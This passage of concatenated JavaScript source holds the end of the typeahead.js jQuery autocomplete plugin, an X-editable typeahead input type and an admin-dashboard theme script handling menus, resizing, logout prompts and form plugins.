return true;
}
});
return InputView;
function buildOverflowHelper($input) {
return $("<span></span>").css({
position: "absolute",
left: "-9999px",
visibility: "hidden",
whiteSpace: "nowrap",
fontFamily: $input.css("font-family"),
fontSize: $input.css("font-size"),
fontStyle: $input.css("font-style"),
fontVariant: $input.css("font-variant"),
fontWeight: $input.css("font-weight"),
wordSpacing: $input.css("word-spacing"),
letterSpacing: $input.css("letter-spacing"),
textIndent: $input.css("text-indent"),
textRendering: $input.css("text-rendering"),
textTransform: $input.css("text-transform")
}).insertAfter($input);
}
function compareQueries(a, b) {
a = (a || "").replace(/^\s*/g, "").replace(/\s{2,}/g, " ");
b = (b || "").replace(/^\s*/g, "").replace(/\s{2,}/g, " ");
return a === b;
}
}();
var DropdownView = function() {
var html = {
suggestionsList: '<span class="tt-suggestions"></span>'
}, css = {
suggestionsList: {
display: "block"
},
suggestion: {
whiteSpace: "nowrap",
cursor: "pointer"
},
suggestionChild: {
whiteSpace: "normal"
}
};
function DropdownView(o) {
utils.bindAll(this);
this.isOpen = false;
this.isEmpty = true;
this.isMouseOverDropdown = false;
this.$menu = $(o.menu).on("mouseenter.tt", this._handleMouseenter).on("mouseleave.tt", this._handleMouseleave).on("click.tt", ".tt-suggestion", this._handleSelection).on("mouseover.tt", ".tt-suggestion", this._handleMouseover);
}
utils.mixin(DropdownView.prototype, EventTarget, {
_handleMouseenter: function() {
this.isMouseOverDropdown = true;
},
_handleMouseleave: function() {
this.isMouseOverDropdown = false;
},
_handleMouseover: function($e) {
var $suggestion = $($e.currentTarget);
this._getSuggestions().removeClass("tt-is-under-cursor");
$suggestion.addClass("tt-is-under-cursor");
},
_handleSelection: function($e) {
var $suggestion = $($e.currentTarget);
this.trigger("suggestionSelected", extractSuggestion($suggestion));
},
_show: function() {
this.$menu.css("display", "block");
},
_hide: function() {
this.$menu.hide();
},
_moveCursor: function(increment) {
var $suggestions, $cur, nextIndex, $underCursor;
if (!this.isVisible()) {
return;
}
$suggestions = this._getSuggestions();
$cur = $suggestions.filter(".tt-is-under-cursor");
$cur.removeClass("tt-is-under-cursor");
nextIndex = $suggestions.index($cur) + increment;
nextIndex = (nextIndex + 1) % ($suggestions.length + 1) - 1;
if (nextIndex === -1) {
this.trigger("cursorRemoved");
return;
} else if (nextIndex < -1) {
nextIndex = $suggestions.length - 1;
}
$underCursor = $suggestions.eq(nextIndex).addClass("tt-is-under-cursor");
this._ensureVisibility($underCursor);
this.trigger("cursorMoved", extractSuggestion($underCursor));
},
_getSuggestions: function() {
return this.$menu.find(".tt-suggestions > .tt-suggestion");
},
_ensureVisibility: function($el) {
var menuHeight = this.$menu.height() + parseInt(this.$menu.css("paddingTop"), 10) + parseInt(this.$menu.css("paddingBottom"), 10), menuScrollTop = this.$menu.scrollTop(), elTop = $el.position().top, elBottom = elTop + $el.outerHeight(true);
if (elTop < 0) {
this.$menu.scrollTop(menuScrollTop + elTop);
} else if (menuHeight < elBottom) {
this.$menu.scrollTop(menuScrollTop + (elBottom - menuHeight));
}
},
destroy: function() {
this.$menu.off(".tt");
this.$menu = null;
},
isVisible: function() {
return this.isOpen && !this.isEmpty;
},
closeUnlessMouseIsOverDropdown: function() {
if (!this.isMouseOverDropdown) {
this.close();
}
},
close: function() {
if (this.isOpen) {
this.isOpen = false;
this.isMouseOverDropdown = false;
this._hide();
this.$menu.find(".tt-suggestions > .tt-suggestion").removeClass("tt-is-under-cursor");
this.trigger("closed");
}
},
open: function() {
if (!this.isOpen) {
this.isOpen = true;
!this.isEmpty && this._show();
this.trigger("opened");
}
},
setLanguageDirection: function(dir) {
var ltrCss = {
left: "0",
right: "auto"
}, rtlCss = {
left: "auto",
right: " 0"
};
dir === "ltr" ? this.$menu.css(ltrCss) : this.$menu.css(rtlCss);
},
moveCursorUp: function() {
this._moveCursor(-1);
},
moveCursorDown: function() {
this._moveCursor(+1);
},
getSuggestionUnderCursor: function() {
var $suggestion = this._getSuggestions().filter(".tt-is-under-cursor").first();
return $suggestion.length > 0 ? extractSuggestion($suggestion) : null;
},
getFirstSuggestion: function() {
var $suggestion = this._getSuggestions().first();
return $suggestion.length > 0 ? extractSuggestion($suggestion) : null;
},
renderSuggestions: function(dataset, suggestions) {
var datasetClassName = "tt-dataset-" + dataset.name, wrapper = '<div class="tt-suggestion">%body</div>', compiledHtml, $suggestionsList, $dataset = this.$menu.find("." + datasetClassName), elBuilder, fragment, $el;
if ($dataset.length === 0) {
$suggestionsList = $(html.suggestionsList).css(css.suggestionsList);
$dataset = $("<div></div>").addClass(datasetClassName).append(dataset.header).append($suggestionsList).append(dataset.footer).appendTo(this.$menu);
}
if (suggestions.length > 0) {
this.isEmpty = false;
this.isOpen && this._show();
elBuilder = document.createElement("div");
fragment = document.createDocumentFragment();
utils.each(suggestions, function(i, suggestion) {
suggestion.dataset = dataset.name;
compiledHtml = dataset.template(suggestion.datum);
elBuilder.innerHTML = wrapper.replace("%body", compiledHtml);
$el = $(elBuilder.firstChild).css(css.suggestion).data("suggestion", suggestion);
$el.children().each(function() {
$(this).css(css.suggestionChild);
});
fragment.appendChild($el[0]);
});
$dataset.show().find(".tt-suggestions").html(fragment);
} else {
this.clearSuggestions(dataset.name);
}
this.trigger("suggestionsRendered");
},
clearSuggestions: function(datasetName) {
var $datasets = datasetName ? this.$menu.find(".tt-dataset-" + datasetName) : this.$menu.find('[class^="tt-dataset-"]'), $suggestions = $datasets.find(".tt-suggestions");
$datasets.hide();
$suggestions.empty();
if (this._getSuggestions().length === 0) {
this.isEmpty = true;
this._hide();
}
}
});
return DropdownView;
function extractSuggestion($el) {
return $el.data("suggestion");
}
}();
var TypeaheadView = function() {
var html = {
wrapper: '<span class="twitter-typeahead"></span>',
hint: '<input class="tt-hint" type="text" autocomplete="off" spellcheck="off" disabled>',
dropdown: '<span class="tt-dropdown-menu"></span>'
}, css = {
wrapper: {
position: "relative",
display: "inline-block"
},
hint: {
position: "absolute",
top: "0",
left: "0",
borderColor: "transparent",
boxShadow: "none"
},
query: {
position: "relative",
verticalAlign: "top",
backgroundColor: "transparent"
},
dropdown: {
position: "absolute",
top: "100%",
left: "0",
zIndex: "100",
display: "none"
}
};
if (utils.isMsie()) {
utils.mixin(css.query, {
backgroundImage: "url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"
});
}
if (utils.isMsie() && utils.isMsie() <= 7) {
utils.mixin(css.wrapper, {
display: "inline",
zoom: "1"
});
utils.mixin(css.query, {
marginTop: "-1px"
});
}
function TypeaheadView(o) {
var $menu, $input, $hint;
utils.bindAll(this);
this.$node = buildDomStructure(o.input);
this.datasets = o.datasets;
this.dir = null;
this.eventBus = o.eventBus;
$menu = this.$node.find(".tt-dropdown-menu");
$input = this.$node.find(".tt-query");
$hint = this.$node.find(".tt-hint");
this.dropdownView = new DropdownView({
menu: $menu
}).on("suggestionSelected", this._handleSelection).on("cursorMoved", this._clearHint).on("cursorMoved", this._setInputValueToSuggestionUnderCursor).on("cursorRemoved", this._setInputValueToQuery).on("cursorRemoved", this._updateHint).on("suggestionsRendered", this._updateHint).on("opened", this._updateHint).on("closed", this._clearHint).on("opened closed", this._propagateEvent);
this.inputView = new InputView({
input: $input,
hint: $hint
}).on("focused", this._openDropdown).on("blured", this._closeDropdown).on("blured", this._setInputValueToQuery).on("enterKeyed tabKeyed", this._handleSelection).on("queryChanged", this._clearHint).on("queryChanged", this._clearSuggestions).on("queryChanged", this._getSuggestions).on("whitespaceChanged", this._updateHint).on("queryChanged whitespaceChanged", this._openDropdown).on("queryChanged whitespaceChanged", this._setLanguageDirection).on("escKeyed", this._closeDropdown).on("escKeyed", this._setInputValueToQuery).on("tabKeyed upKeyed downKeyed", this._managePreventDefault).on("upKeyed downKeyed", this._moveDropdownCursor).on("upKeyed downKeyed", this._openDropdown).on("tabKeyed leftKeyed rightKeyed", this._autocomplete);
}
utils.mixin(TypeaheadView.prototype, EventTarget, {
_managePreventDefault: function(e) {
var $e = e.data, hint, inputValue, preventDefault = false;
switch (e.type) {
case "tabKeyed":
hint = this.inputView.getHintValue();
inputValue = this.inputView.getInputValue();
preventDefault = hint && hint !== inputValue;
break;
case "upKeyed":
case "downKeyed":
preventDefault = !$e.shiftKey && !$e.ctrlKey && !$e.metaKey;
break;
}
preventDefault && $e.preventDefault();
},
_setLanguageDirection: function() {
var dir = this.inputView.getLanguageDirection();
if (dir !== this.dir) {
this.dir = dir;
this.$node.css("direction", dir);
this.dropdownView.setLanguageDirection(dir);
}
},
_updateHint: function() {
var suggestion = this.dropdownView.getFirstSuggestion(), hint = suggestion ? suggestion.value : null, dropdownIsVisible = this.dropdownView.isVisible(), inputHasOverflow = this.inputView.isOverflow(), inputValue, query, escapedQuery, beginsWithQuery, match;
if (hint && dropdownIsVisible && !inputHasOverflow) {
inputValue = this.inputView.getInputValue();
query = inputValue.replace(/\s{2,}/g, " ").replace(/^\s+/g, "");
escapedQuery = utils.escapeRegExChars(query);
beginsWithQuery = new RegExp("^(?:" + escapedQuery + ")(.*$)", "i");
match = beginsWithQuery.exec(hint);
this.inputView.setHintValue(inputValue + (match ? match[1] : ""));
}
},
_clearHint: function() {
this.inputView.setHintValue("");
},
_clearSuggestions: function() {
this.dropdownView.clearSuggestions();
},
_setInputValueToQuery: function() {
this.inputView.setInputValue(this.inputView.getQuery());
},
_setInputValueToSuggestionUnderCursor: function(e) {
var suggestion = e.data;
this.inputView.setInputValue(suggestion.value, true);
},
_openDropdown: function() {
this.dropdownView.open();
},
_closeDropdown: function(e) {
this.dropdownView[e.type === "blured" ? "closeUnlessMouseIsOverDropdown" : "close"]();
},
_moveDropdownCursor: function(e) {
var $e = e.data;
if (!$e.shiftKey && !$e.ctrlKey && !$e.metaKey) {
this.dropdownView[e.type === "upKeyed" ? "moveCursorUp" : "moveCursorDown"]();
}
},
_handleSelection: function(e) {
var byClick = e.type === "suggestionSelected", suggestion = byClick ? e.data : this.dropdownView.getSuggestionUnderCursor();
if (suggestion) {
this.inputView.setInputValue(suggestion.value);
byClick ? this.inputView.focus() : e.data.preventDefault();
byClick && utils.isMsie() ? utils.defer(this.dropdownView.close) : this.dropdownView.close();
this.eventBus.trigger("selected", suggestion.datum, suggestion.dataset);
}
},
_getSuggestions: function() {
var that = this, query = this.inputView.getQuery();
if (utils.isBlankString(query)) {
return;
}
utils.each(this.datasets, function(i, dataset) {
dataset.getSuggestions(query, function(suggestions) {
if (query === that.inputView.getQuery()) {
that.dropdownView.renderSuggestions(dataset, suggestions);
}
});
});
},
_autocomplete: function(e) {
var isCursorAtEnd, ignoreEvent, query, hint, suggestion;
if (e.type === "rightKeyed" || e.type === "leftKeyed") {
isCursorAtEnd = this.inputView.isCursorAtEnd();
ignoreEvent = this.inputView.getLanguageDirection() === "ltr" ? e.type === "leftKeyed" : e.type === "rightKeyed";
if (!isCursorAtEnd || ignoreEvent) {
return;
}
}
query = this.inputView.getQuery();
hint = this.inputView.getHintValue();
if (hint !== "" && query !== hint) {
suggestion = this.dropdownView.getFirstSuggestion();
this.inputView.setInputValue(suggestion.value);
this.eventBus.trigger("autocompleted", suggestion.datum, suggestion.dataset);
}
},
_propagateEvent: function(e) {
this.eventBus.trigger(e.type);
},
destroy: function() {
this.inputView.destroy();
this.dropdownView.destroy();
destroyDomStructure(this.$node);
this.$node = null;
},
setQuery: function(query) {
this.inputView.setQuery(query);
this.inputView.setInputValue(query);
this._clearHint();
this._clearSuggestions();
this._getSuggestions();
}
});
return TypeaheadView;
function buildDomStructure(input) {
var $wrapper = $(html.wrapper), $dropdown = $(html.dropdown), $input = $(input), $hint = $(html.hint);
$wrapper = $wrapper.css(css.wrapper);
$dropdown = $dropdown.css(css.dropdown);
$hint.css(css.hint).css({
backgroundAttachment: $input.css("background-attachment"),
backgroundClip: $input.css("background-clip"),
backgroundColor: $input.css("background-color"),
backgroundImage: $input.css("background-image"),
backgroundOrigin: $input.css("background-origin"),
backgroundPosition: $input.css("background-position"),
backgroundRepeat: $input.css("background-repeat"),
backgroundSize: $input.css("background-size")
});
$input.data("ttAttrs", {
dir: $input.attr("dir"),
autocomplete: $input.attr("autocomplete"),
spellcheck: $input.attr("spellcheck"),
style: $input.attr("style")
});
$input.addClass("tt-query").attr({
autocomplete: "off",
spellcheck: false
}).css(css.query);
try {
!$input.attr("dir") && $input.attr("dir", "auto");
} catch (e) {}
return $input.wrap($wrapper).parent().prepend($hint).append($dropdown);
}
function destroyDomStructure($node) {
var $input = $node.find(".tt-query");
utils.each($input.data("ttAttrs"), function(key, val) {
utils.isUndefined(val) ? $input.removeAttr(key) : $input.attr(key, val);
});
$input.detach().removeData("ttAttrs").removeClass("tt-query").insertAfter($node);
$node.remove();
}
}();
(function() {
var cache = {}, viewKey = "ttView", methods;
methods = {
initialize: function(datasetDefs) {
var datasets;
datasetDefs = utils.isArray(datasetDefs) ? datasetDefs : [ datasetDefs ];
if (datasetDefs.length === 0) {
$.error("no datasets provided");
}
datasets = utils.map(datasetDefs, function(o) {
var dataset = cache[o.name] ? cache[o.name] : new Dataset(o);
if (o.name) {
cache[o.name] = dataset;
}
return dataset;
});
return this.each(initialize);
function initialize() {
var $input = $(this), deferreds, eventBus = new EventBus({
el: $input
});
deferreds = utils.map(datasets, function(dataset) {
return dataset.initialize();
});
$input.data(viewKey, new TypeaheadView({
input: $input,
eventBus: eventBus = new EventBus({
el: $input
}),
datasets: datasets
}));
$.when.apply($, deferreds).always(function() {
utils.defer(function() {
eventBus.trigger("initialized");
});
});
}
},
destroy: function() {
return this.each(destroy);
function destroy() {
var $this = $(this), view = $this.data(viewKey);
if (view) {
view.destroy();
$this.removeData(viewKey);
}
}
},
setQuery: function(query) {
return this.each(setQuery);
function setQuery() {
var view = $(this).data(viewKey);
view && view.setQuery(query);
}
}
};
jQuery.fn.typeahead = function(method) {
if (methods[method]) {
return methods[method].apply(this, [].slice.call(arguments, 1));
} else {
return methods.initialize.apply(this, arguments);
}
};
})();
})(window.jQuery); | JavaScript |
/**
Typeahead.js input, based on [Twitter Typeahead](http://twitter.github.io/typeahead.js).
It is mainly replacement of typeahead in Bootstrap 3.
@class typeaheadjs
@extends text
@since 1.5.0
@final
@example
<a href="#" id="country" data-type="typeaheadjs" data-pk="1" data-url="/post" data-title="Input country"></a>
<script>
$(function(){
$('#country').editable({
value: 'ru',
typeahead: {
name: 'country',
local: [
{value: 'ru', tokens: ['Russia']},
{value: 'gb', tokens: ['Great Britain']},
{value: 'us', tokens: ['United States']}
],
template: function(item) {
return item.tokens[0] + ' (' + item.value + ')';
}
}
});
});
</script>
**/
(function ($) {
"use strict";
var Constructor = function (options) {
this.init('typeaheadjs', options, Constructor.defaults);
};
$.fn.editableutils.inherit(Constructor, $.fn.editabletypes.text);
$.extend(Constructor.prototype, {
render: function() {
this.renderClear();
this.setClass();
this.setAttr('placeholder');
this.$input.typeahead(this.options.typeahead);
// copy `input-sm | input-lg` classes to placeholder input
if($.fn.editableform.engine === 'bs3') {
if(this.$input.hasClass('input-sm')) {
this.$input.siblings('input.tt-hint').addClass('input-sm');
}
if(this.$input.hasClass('input-lg')) {
this.$input.siblings('input.tt-hint').addClass('input-lg');
}
}
}
});
Constructor.defaults = $.extend({}, $.fn.editabletypes.list.defaults, {
/**
@property tpl
@default <input type="text">
**/
tpl:'<input type="text">',
/**
Configuration of typeahead itself.
[Full list of options](https://github.com/twitter/typeahead.js#dataset).
@property typeahead
@type object
@default null
**/
typeahead: null,
/**
Whether to show `clear` button
@property clear
@type boolean
@default true
**/
clear: true
});
$.fn.editabletypes.typeaheadjs = Constructor;
}(window.jQuery)); | JavaScript |
/*
* VARIABLES
* Description: All Global Vars
*/
// Impacts the responce rate of some of the responsive elements (lower value affects CPU but improves speed)
$.throttle_delay = 350;
// The rate at which the menu expands revealing child elements on click
$.menu_speed = 235;
// Note: You will also need to change this variable in the "variable.less" file.
$.navbar_height = 49;
/*
* APP DOM REFERENCES
* Description: Obj DOM reference, please try to avoid changing these
*/
$.root_ = $('body');
$.left_panel = $('#left-panel');
$.shortcut_dropdown = $('#shortcut');
$.bread_crumb = $('#ribbon ol.breadcrumb');
// desktop or mobile
$.device = null;
/*
* APP CONFIGURATION
* Description: Enable / disable certain theme features here
*/
$.navAsAjax = true; // Your left nav in your app will no longer fire ajax calls
// Please make sure you have included "jarvis.widget.js" for this below feature to work
$.enableJarvisWidgets = true;
// Warning: Enabling mobile widgets could potentially crash your webApp if you have too many
// widgets running at once (must have $.enableJarvisWidgets = true)
$.enableMobileWidgets = false;
/*
* DETECT MOBILE DEVICES
* Description: Detects mobile device - if any of the listed device is detected
* a class is inserted to $.root_ and the variable $.device is decleard.
*/
/* so far this is covering most hand held devices */
var ismobile = (/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase()));
if (!ismobile) {
// Desktop
$.root_.addClass("desktop-detected");
$.device = "desktop";
} else {
// Mobile
$.root_.addClass("mobile-detected");
$.device = "mobile";
// Removes the tap delay in idevices
// dependency: js/plugin/fastclick/fastclick.js
// FastClick.attach(document.body);
}
/* ~ END: CHECK MOBILE DEVICE */
/*
* DOCUMENT LOADED EVENT
* Description: Fire when DOM is ready
*/
$(document).ready(function() {
/*
* Fire tooltips
*/
if ($("[rel=tooltip]").length) {
$("[rel=tooltip]").tooltip();
}
//TODO: was moved from window.load due to IE not firing consist
nav_page_height()
// INITIALIZE LEFT NAV
if (!null) {
$('nav ul').jarvismenu({
accordion : true,
speed : $.menu_speed,
closedSign : '<em class="fa fa-expand-o"></em>',
openedSign : '<em class="fa fa-collapse-o"></em>'
});
} else {
alert("Error - menu anchor does not exist");
}
// COLLAPSE LEFT NAV
$('.minifyme').click(function(e) {
$('body').toggleClass("minified");
$(this).effect("highlight", {}, 500);
e.preventDefault();
});
// HIDE MENU
$('#hide-menu >:first-child > a').click(function(e) {
$('body').toggleClass("hidden-menu");
e.preventDefault();
});
$('#show-shortcut').click(function(e) {
if ($.shortcut_dropdown.is(":visible")) {
shortcut_buttons_hide();
} else {
shortcut_buttons_show();
}
e.preventDefault();
});
// SHOW & HIDE MOBILE SEARCH FIELD
$('#search-mobile').click(function() {
$.root_.addClass('search-mobile');
});
$('#cancel-search-js').click(function() {
$.root_.removeClass('search-mobile');
});
// ACTIVITY
// ajax drop
$('#activity').click(function(e) {
var $this = $(this);
if ($this.find('.badge').hasClass('bg-color-red')) {
$this.find('.badge').removeClassPrefix('bg-color-');
$this.find('.badge').text("0");
// console.log("Ajax call for activity")
}
if (!$this.next('.ajax-dropdown').is(':visible')) {
$this.next('.ajax-dropdown').fadeIn(150);
$this.addClass('active');
} else {
$this.next('.ajax-dropdown').fadeOut(150);
$this.removeClass('active')
}
var mytest = $this.next('.ajax-dropdown').find('.btn-group > .active > input').attr('id');
//console.log(mytest)
e.preventDefault();
});
$('input[name="activity"]').change(function() {
//alert($(this).val())
var $this = $(this);
url = $this.attr('id');
container = $('.ajax-notifications');
loadURL(url, container);
});
$(document).mouseup(function(e) {
if (!$('.ajax-dropdown').is(e.target)// if the target of the click isn't the container...
&& $('.ajax-dropdown').has(e.target).length === 0) {
$('.ajax-dropdown').fadeOut(150);
$('.ajax-dropdown').prev().removeClass("active")
}
});
$('button[data-loading-text]').on('click', function() {
var btn = $(this)
btn.button('loading')
setTimeout(function() {
btn.button('reset')
}, 3000)
});
// NOTIFICATION IS PRESENT
function notification_check() {
$this = $('#activity > .badge');
if (parseInt($this.text()) > 0) {
$this.addClass("bg-color-red bounceIn animated")
}
}
notification_check();
// RESET WIDGETS
$('#refresh').click(function(e) {
var $this = $(this);
$.widresetMSG = $this.data('reset-msg');
$.SmartMessageBox({
title : "<i class='fa fa-refresh' style='color:green'></i> Clear Local Storage",
content : $.widresetMSG || "Would you like to RESET all your saved widgets and clear LocalStorage?",
buttons : '[No][Yes]'
}, function(ButtonPressed) {
if (ButtonPressed == "Yes" && localStorage) {
localStorage.clear();
location.reload();
}
});
e.preventDefault();
});
// LOGOUT BUTTON
$('#logout a').click(function(e) {
//get the link
var $this = $(this);
$.loginURL = $this.attr('href');
$.logoutMSG = $this.data('logout-msg');
// ask verification
$.SmartMessageBox({
title : "<i class='fa fa-sign-out txt-color-orangeDark'></i> Logout <span class='txt-color-orangeDark'><strong>" + $('#show-shortcut').text() + "</strong></span> ?",
content : $.logoutMSG || "You can improve your security further after logging out by closing this opened browser",
buttons : '[No][Yes]'
}, function(ButtonPressed) {
if (ButtonPressed == "Yes") {
$.root_.addClass('animated fadeOutUp');
setTimeout(logout, 1000)
}
});
e.preventDefault();
});
/*
* LOGOUT ACTION
*/
function logout() {
window.location = $.loginURL;
}
/*
* SHORTCUTS
*/
// SHORT CUT (buttons that appear when clicked on user name)
$.shortcut_dropdown.find('a').click(function(e) {
e.preventDefault();
window.location = $(this).attr('href');
setTimeout(shortcut_buttons_hide, 300);
});
// SHORTCUT buttons goes away if mouse is clicked outside of the area
$(document).mouseup(function(e) {
if (!$.shortcut_dropdown.is(e.target)// if the target of the click isn't the container...
&& $.shortcut_dropdown.has(e.target).length === 0) {
shortcut_buttons_hide()
}
});
// SHORTCUT ANIMATE HIDE
function shortcut_buttons_hide() {
$.shortcut_dropdown.animate({
height : "hide"
}, 300, "easeOutCirc");
$.root_.removeClass('shortcut-on');
}
// SHORTCUT ANIMATE SHOW
function shortcut_buttons_show() {
$.shortcut_dropdown.animate({
height : "show"
}, 200, "easeOutCirc")
$.root_.addClass('shortcut-on');
}
});
/*
* RESIZER WITH THROTTLE
* Source: http://benalman.com/code/projects/jquery-resize/examples/resize/
*/
(function($, window, undefined) {
var elems = $([]), jq_resize = $.resize = $.extend($.resize, {}), timeout_id, str_setTimeout = 'setTimeout', str_resize = 'resize', str_data = str_resize + '-special-event', str_delay = 'delay', str_throttle = 'throttleWindow';
jq_resize[str_delay] = $.throttle_delay;
jq_resize[str_throttle] = true;
$.event.special[str_resize] = {
setup : function() {
if (!jq_resize[str_throttle] && this[str_setTimeout]) {
return false;
}
var elem = $(this);
elems = elems.add(elem);
$.data(this, str_data, {
w : elem.width(),
h : elem.height()
});
if (elems.length === 1) {
loopy();
}
},
teardown : function() {
if (!jq_resize[str_throttle] && this[str_setTimeout]) {
return false;
}
var elem = $(this);
elems = elems.not(elem);
elem.removeData(str_data);
if (!elems.length) {
clearTimeout(timeout_id);
}
},
add : function(handleObj) {
if (!jq_resize[str_throttle] && this[str_setTimeout]) {
return false;
}
var old_handler;
function new_handler(e, w, h) {
var elem = $(this), data = $.data(this, str_data);
data.w = w !== undefined ? w : elem.width();
data.h = h !== undefined ? h : elem.height();
old_handler.apply(this, arguments);
};
if ($.isFunction(handleObj)) {
old_handler = handleObj;
return new_handler;
} else {
old_handler = handleObj.handler;
handleObj.handler = new_handler;
}
}
};
function loopy() {
timeout_id = window[str_setTimeout](function() {
elems.each(function() {
var elem = $(this), width = elem.width(), height = elem.height(), data = $.data(this, str_data);
if (width !== data.w || height !== data.h) {
elem.trigger(str_resize, [data.w = width, data.h = height]);
}
});
loopy();
}, jq_resize[str_delay]);
};
})(jQuery, this);
/*
* NAV OR #LEFT-BAR RESIZE DETECT
* Description: changes the page min-width of #CONTENT and NAV when navigation is resized.
* This is to counter bugs for min page width on many desktop and mobile devices.
* Note: This script uses JSthrottle technique so don't worry about memory/CPU usage
*/
// Fix page and nav height
function nav_page_height() {
var setHeight = $('#main').height();
//menuHeight = $.left_panel.height();
var windowHeight = $(window).height() - $.navbar_height;
//set height
if (setHeight > windowHeight) {// if content height exceedes actual window height and menuHeight
$.left_panel.css('min-height', setHeight + 'px');
$.root_.css('min-height', setHeight + $.navbar_height + 'px');
} else {
$.left_panel.css('min-height', windowHeight + 'px');
$.root_.css('min-height', windowHeight + 'px');
}
}
$('#main').resize(function() {
nav_page_height();
check_if_mobile_width();
})
$('nav').resize(function() {
nav_page_height();
})
function check_if_mobile_width() {
if ($(window).width() < 979) {
$.root_.addClass('mobile-view-activated')
} else if ($.root_.hasClass('mobile-view-activated')) {
$.root_.removeClass('mobile-view-activated');
}
}
/* ~ END: NAV OR #LEFT-BAR RESIZE DETECT */
/*
* DETECT IE VERSION
* Description: A short snippet for detecting versions of IE in JavaScript
* without resorting to user-agent sniffing
* RETURNS:
* If you're not in IE (or IE version is less than 5) then:
* //ie === undefined
*
* If you're in IE (>=5) then you can determine which version:
* // ie === 7; // IE7
*
* Thus, to detect IE:
* // if (ie) {}
*
* And to detect the version:
* ie === 6 // IE6
* ie > 7 // IE8, IE9 ...
* ie < 9 // Anything less than IE9
*/
// TODO: delete this function later on - no longer needed (?)
var ie = ( function() {
var undef, v = 3, div = document.createElement('div'), all = div.getElementsByTagName('i');
while (div.innerHTML = '<!--[if gt IE ' + (++v) + ']><i></i><![endif]-->', all[0]);
return v > 4 ? v : undef;
}()); // do we need this?
/* ~ END: DETECT IE VERSION */
/*
* CUSTOM MENU PLUGIN
*/
$.fn.extend({
//pass the options variable to the function
jarvismenu : function(options) {
var defaults = {
accordion : 'true',
speed : 200,
closedSign : '[+]',
openedSign : '[-]'
};
// Extend our default options with those provided.
var opts = $.extend(defaults, options);
//Assign current element to variable, in this case is UL element
var $this = $(this);
//add a mark [+] to a multilevel menu
$this.find("li").each(function() {
if ($(this).find("ul").size() != 0) {
//add the multilevel sign next to the link
$(this).find("a:first").append("<b class='collapse-sign'>" + opts.closedSign + "</b>");
//avoid jumping to the top of the page when the href is an #
if ($(this).find("a:first").attr('href') == "#") {
$(this).find("a:first").click(function() {
return false;
});
}
}
});
//open active level
$this.find("li.active").each(function() {
$(this).parents("ul").slideDown(opts.speed);
$(this).parents("ul").parent("li").find("b:first").html(opts.openedSign);
$(this).parents("ul").parent("li").addClass("open")
});
$this.find("li a").click(function() {
if ($(this).parent().find("ul").size() != 0) {
if (opts.accordion) {
//Do nothing when the list is open
if (!$(this).parent().find("ul").is(':visible')) {
parents = $(this).parent().parents("ul");
visible = $this.find("ul:visible");
visible.each(function(visibleIndex) {
var close = true;
parents.each(function(parentIndex) {
if (parents[parentIndex] == visible[visibleIndex]) {
close = false;
return false;
}
});
if (close) {
if ($(this).parent().find("ul") != visible[visibleIndex]) {
$(visible[visibleIndex]).slideUp(opts.speed, function() {
$(this).parent("li").find("b:first").html(opts.closedSign);
$(this).parent("li").removeClass("open");
});
}
}
});
}
}// end if
if ($(this).parent().find("ul:first").is(":visible") && !$(this).parent().find("ul:first").hasClass("active")) {
$(this).parent().find("ul:first").slideUp(opts.speed, function() {
$(this).parent("li").removeClass("open");
$(this).parent("li").find("b:first").delay(opts.speed).html(opts.closedSign);
});
} else {
$(this).parent().find("ul:first").slideDown(opts.speed, function() {
/*$(this).effect("highlight", {color : '#616161'}, 500); - disabled due to CPU clocking on phones*/
$(this).parent("li").addClass("open");
$(this).parent("li").find("b:first").delay(opts.speed).html(opts.openedSign);
});
} // end else
} // end if
});
} // end function
});
/* ~ END: CUSTOM MENU PLUGIN */
/*
* ELEMENT EXIST OR NOT
* Description: returns true or false
* Usage: $('#myDiv').doesExist();
*/
jQuery.fn.doesExist = function() {
return jQuery(this).length > 0;
};
/* ~ END: ELEMENT EXIST OR NOT */
/*
* FULL SCREEN FUNCTION
*/
// Find the right method, call on correct element
function launchFullscreen(element) {
if (!$.root_.hasClass("full-screen")) {
$.root_.addClass("full-screen");
if (element.requestFullscreen) {
element.requestFullscreen();
} else if (element.mozRequestFullScreen) {
element.mozRequestFullScreen();
} else if (element.webkitRequestFullscreen) {
element.webkitRequestFullscreen();
} else if (element.msRequestFullscreen) {
element.msRequestFullscreen();
}
} else {
$.root_.removeClass("full-screen");
if (document.exitFullscreen) {
document.exitFullscreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.webkitExitFullscreen) {
document.webkitExitFullscreen();
}
}
}
/*
* ~ END: FULL SCREEN FUNCTION
*/
/*
* INITIALIZE FORMS
* Description: Select2, Masking, Datepicker, Autocomplete
*/
function runAllForms() {
/*
* BOOTSTRAP SLIDER PLUGIN
* Usage:
* Dependency: js/plugin/bootstrap-slider
*/
if ($.fn.slider) {
$('.slider').slider();
}
/*
* SELECT2 PLUGIN
* Usage:
* Dependency: js/plugin/select2/
*/
if ($.fn.select2) {
$('.select2').each(function() {
var $this = $(this);
var width = $this.attr('data-select-width') || '100%';
//, _showSearchInput = $this.attr('data-select-search') === 'true';
$this.select2({
//showSearchInput : _showSearchInput,
allowClear : true,
width : width
})
})
}
/*
* MASKING
* Dependency: js/plugin/masked-input/
*/
if ($.fn.mask) {
$('[data-mask]').each(function() {
var $this = $(this);
var mask = $this.attr('data-mask') || 'error...', mask_placeholder = $this.attr('data-mask-placeholder') || 'X';
$this.mask(mask, {
placeholder : mask_placeholder
});
})
}
/*
* Autocomplete
* Dependency: js/jqui
*/
if ($.fn.autocomplete) {
$('[data-autocomplete]').each(function() {
var $this = $(this);
var availableTags = $this.data('autocomplete') || ["The", "Quick", "Brown", "Fox", "Jumps", "Over", "Three", "Lazy", "Dogs"];
$this.autocomplete({
source : availableTags
});
})
}
/*
* JQUERY UI DATE
* Dependency: js/libs/jquery-ui-1.10.3.min.js
* Usage:
*/
if ($.fn.datepicker) {
$('.datepicker').each(function() {
var $this = $(this);
var dataDateFormat = $this.attr('data-dateformat') || 'dd.mm.yy';
$this.datepicker({
dateFormat : dataDateFormat,
prevText : '<i class="fa fa-chevron-left"></i>',
nextText : '<i class="fa fa-chevron-right"></i>',
});
})
}
/*
* AJAX BUTTON LOADING TEXT
* Usage: <button type="button" data-loading-text="Loading..." class="btn btn-xs btn-default ajax-refresh"> .. </button>
*/
$('button[data-loading-text]').on('click', function() {
var btn = $(this)
btn.button('loading')
setTimeout(function() {
